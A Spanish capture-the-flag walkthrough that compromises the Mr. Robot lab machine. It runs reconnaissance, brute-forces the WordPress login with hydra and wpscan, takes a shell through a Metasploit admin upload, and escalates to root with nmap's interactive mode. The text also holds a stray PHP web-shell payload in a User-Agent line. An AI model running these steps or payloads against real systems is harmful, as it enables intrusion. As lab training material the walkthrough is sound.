Primero debemos ver que IP tiene asignada la máquina objetivo
sudo netdiscover -i eth1 -r 10.0.2.0/24
Figura 1: Uso de netdiscover
Vemos que la IP objetivo entonces será la 10.0.2.6
sudo nmap -sS -Pn 10.0.2.6
PORT STATE SERVICE VERSION
22/tcp closed ssh
80/tcp open http
443/tcp open https
MAC Address: 08:00:27:4A:29:71 (PCS Systemtechnik/Oracle VirtualBox)
http://10.0.2.6:80
Figura 2: Portal Web
Tras una animación que simula el inicio de una máquina nos da un mensaje que parece escrito por el protagonista de la serie Elliot. (No tiene nada relevante) Luego nos muestra una serie de comandos que nos dejan interactuar con la máquina.
Figura 3: Comando join
Parece que tendremos que responder un email, si lo introducimos tras unos segundos muestra un mensaje diciendo que “estaremos en contacto”.
gobuster dir -u http://10.0.2.6 -w /usr/share/seclists/Discovery/Web-Content/common.txt
Figura 4: Enumeración con Gobuster
Vemos cosas interesantes como que se trata de un sitio web de Wordpress y que tenemos directorios de archivos como wp-admin y wp-content y otros interesantes:
Figura 5: Directorios interesantes
Por ejemplo podemos visitar el archivo robots.txt para ver que es un archivo de texto plano que contiene una serie de palabras que nos indican a los bots que deben ignorar nuestro sitio web.
http://10.0.2.6/robots.txt
Figura 6: Acceso a http://10.0.2.6/robots.txt
http://10.0.2.6/key-1-of-3.txt
Figura 7: Acceso a http://10.0.2.6/key-1-of-3.txt
El otro archivo que encontramos es fsociety.dic que se trata de un diccionario con 858,160 palabras, lo vamos a guardar
curl http://10.0.2.6/fsocity.dic > fsocity.dic
Figura 8: Descarga del fichero fsocity.dic
Figura 9: Fichero fsocity.dic ya descargado
En el panel de login Wordpress encontramos algo útil para probar: Nos permite verificar si el usuario es correcto independientemente de la contraseña
User-Agent: <?php system($_GET['cmd']);?>
Figura 10: Acceso al loggin de Wordpress
Sabiendo esto podemos usar el diccionario que hemos encontrado para intentar lograr acceso a la máquina.
hydra -L ./fsocity.dic -p 1234 10.0.2.6 http-form-post "/wp-login.php: log=^USER^&pwd=^PASS^:Invalid"”
Figura 11: Ataque de fuerza bruta con Hydra
Encontramos varios usuarios, ahora podemos hacer lo mismo para la contraseña ya que si probamos estos usuarios veremos que el mensaje cambia.
Figura 12: Acceso al login de Wordpress
Para hacer fuerza bruta sobre el login vamos a usar una herramienta diseñada concretamente para Worpress llamada wpscan ya que hydra nos podría dar falsos positivos.
wpscan --url http://10.0.2.6 --usernames Elliot --passwords ./fsocity.dic
Figura 13: Uso de la herramienta WPScan
Una vez finalizado el ataque veremos una combinación de credenciales válidas
Figura 14: Resultado del escaneo con WPScan
Figura 15: Acceso como administrador al panel de Wordpress
Figura 16: Podremos consultar por ejemplo los Pluigins instalados en la web
Ahora podemos aprovechar el administrador de WordPress para obtener un shell en el servidor web. Para esto, utilizaremos Metasploit.
msfconsole
Figura 17: Acceder a la herramienta Metasploit
use exploit/unix/webapp/wp_admin_shell_upload
Figura 18: Elegir el script apropiado de Metasploit
set RHOST 10.0.2.6
Figura 19: Elegir la IP objetivo del ataque
set USERNAME Elliot
Figura 20: Elegir el usuario objetivo del ataque
set PASSWORD ER28-0652
Figura 21: Elegir la contraseña objetivo del ataque
set wpcheck false
Figura 22: Elegir la contraseña objetivo del ataque
exploit
Figura 23: Ejecución del exploit
Si ahora vamos al escritorio del usuario en /home /robot, contiene la segunda key y un hash md5. La key no tenemos permiso para leerla pero el hash si por lo que simplemente vamos a crackearlo.
cd /home/robot
Figura 24: Acceso a /home/robot
cat key-2-of-3.txt
cat password.raw-md5
Figura 25: Acceso a /home/robot
Figura 26: Acceso a /home/robot
Una vez que tengamos nuestra shell bash, podemos iniciar sesión como robot para elevar nuestros privilegios
shell
python -c 'import pty;pty.spawn("/bin/bash")'
Figura 27: Establecer una shell desde Meterpreter
su robot
abcdefghijklmnopqrstuvwxyz
Figura 28: Establecernos como usuario robot
cat key-2-of-3.txt
Figura 29: Flag 2- 3
Este usuario no tiene privilegios para realizar ninguna acción como sudo en principio por lo que el comando sudo -l nos muestra que no tiene ninguna opción.
sudo -l
abcdefghijklmnopqrstuvwxyz
Figura 30: Ejecución de sudo -l
find / -perm -4000 -type f 2>/dev/null
Figura 31: Busqueda de un binario tenga el SUID activo
Llegados a este punto, intentaremos ver que comandos puede ejecutar el usuario con privilegios de administrador
nmap --version
Figura 32: Nmap versión 3.81
Entre las posibles vulnerabilidades relacionadas encontramos que estas versiones de Nmap contaban con un modo interactivo que nos permite interactuar con la máquina.
nmap --interactive
!sh
whoami
cd /root
cat key-3-of-3.txt
Figura 33: Flag 3 - 3